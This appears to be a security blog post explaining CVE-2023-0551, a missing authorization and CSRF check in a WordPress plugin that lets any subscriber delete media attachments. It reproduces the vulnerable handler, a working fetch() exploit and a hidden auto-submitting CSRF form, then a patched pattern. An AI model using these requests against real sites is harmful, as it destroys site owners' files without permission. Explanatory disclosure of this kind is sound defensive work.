In early 2023, a security vulnerability was discovered in the popular WordPress plugin REST API TO MiniProgram (version <= 4.6.1). This vulnerability, tracked as CVE-2023-0551, is a textbook example of why authentication and CSRF (Cross-Site Request Forgery) checks are critical—no matter how simple your AJAX requests are.
If you have this plugin active, your site might allow *any logged-in user* (even a regular Subscriber) to delete *any* attachment (like photos, PDFs, etc.) from your WordPress media library via a single AJAX call.
In this article, I’ll break down the bug, show you what the vulnerable code looks like, and walk through a sample exploit—so you can understand what’s at risk and how to defend your site.
The Problem: Missing Authorization and CSRF Checks
The plugin adds several custom AJAX actions to WordPress, allowing logged-in users to communicate with the REST API from Mini Programs like WeChat. The intention is fine, but the implementation is not.
One AJAX action lets users delete *attachments* (media files). But here’s the catch: the plugin’s handler doesn’t check what role the user has (admin, editor, or just a lowly subscriber). Worse, it also doesn’t check for a nonce—the WordPress token that helps prevent CSRF attacks.
So, *anyone who’s registered and signed in* (not just trusted editors or admins) can use this action to wipe out your site’s media files!
Vulnerable Code Overview
Let’s look at a simplified version of the vulnerable code from the plugin (all publicly available in the plugin’s repository):
// in rest-api-to-miniprogram.php or similar file
add_action('wp_ajax_wechat_oa_delete_attachment', 'wechat_oa_delete_attachment_callback');
function wechat_oa_delete_attachment_callback() {
$attach_id = intval($_POST['attach_id']);
if ($attach_id) {
wp_delete_attachment($attach_id, true);
echo json_encode(['state' => 'success']);
} else {
echo json_encode(['state' => 'fail']);
}
wp_die();
}
No capability check: Anyone logged in can hit this endpoint, regardless of their user role.
- No CSRF/nonces: No check to make sure the request is intentional and from a legitimate foreground client.
Reference: Plugin Vulnerability Report - WPScan
Exploit: How a Subscriber Can Delete Any Attachment
Imagine you are a Subscriber (the lowest possible role in WordPress). Normally, you can’t edit posts or pages—let alone delete files. Thanks to CVE-2023-0551, you can.
Exploiting via AJAX
First, log in as a Subscriber. Then, open your browser’s developer tools and run the following JavaScript snippet in the console (replace 123 with the ID of any attachment you want to delete):
fetch('/wp-admin/admin-ajax.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'action=wechat_oa_delete_attachment&attach_id=123'
})
.then(response => response.json())
.then(data => console.log(data));
If 123 is a valid attachment ID, the file is immediately deleted. No warning, no confirmation, no administrator required!
Exploiting for CSRF
Because there’s no CSRF protection, even someone not logged in could trick a logged-in user (for example, the admin or even another subscriber) into visiting a malicious webpage that silently sends a POST request with an attachment ID.
Here’s basic proof-of-concept HTML that could be embedded in an attacker’s site
<form action="https://example.com/wp-admin/admin-ajax.php"; method="POST" style="display:none" id="csrfForm">
<input type="hidden" name="action" value="wechat_oa_delete_attachment">
<input type="hidden" name="attach_id" value="123">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
If an authenticated user visits this page, the attachment with ID 123 is gone—potentially without even knowing it.
Why Is This So Serious?
- Low Privilege: The bug affects all authenticated users, including the lowest-level Subscriber role.
Arbitrary Target: The attacker can delete any media file by ID.
- No Logging or Notice: Media disappears with no paper trail. Disruptive or even destructive if used on business-critical files.
Timeline and Patch
Reported: January 30, 2023
Fixed in: Version 4.6.2 (February 4, 2023)
Changelog: Plugin Changelog
Example (safe pattern)
function wechat_oa_delete_attachment_callback() {
if (!current_user_can('delete_posts') || !check_admin_referer('my_nonce_name')) {
wp_die('Not allowed');
}
// ...safe deletion code...
}
## More Information / References
- Official WPScan Entry: CVE-2023-0551
- WordPress Plugin Page: REST API TO MiniProgram
- Public CVE Entry: NVD Database
Stay safe—and never trust user input, even a simple action like deleting a file!
*This article is exclusive to you: written for simple understanding, showing real code, real attacks, and real solutions. Please share with your team to avoid getting burned by similar vulnerabilities.*
Timeline
Published on: 08/16/2023 12:15:00 UTC
Last modified on: 08/22/2023 16:45:00 UTC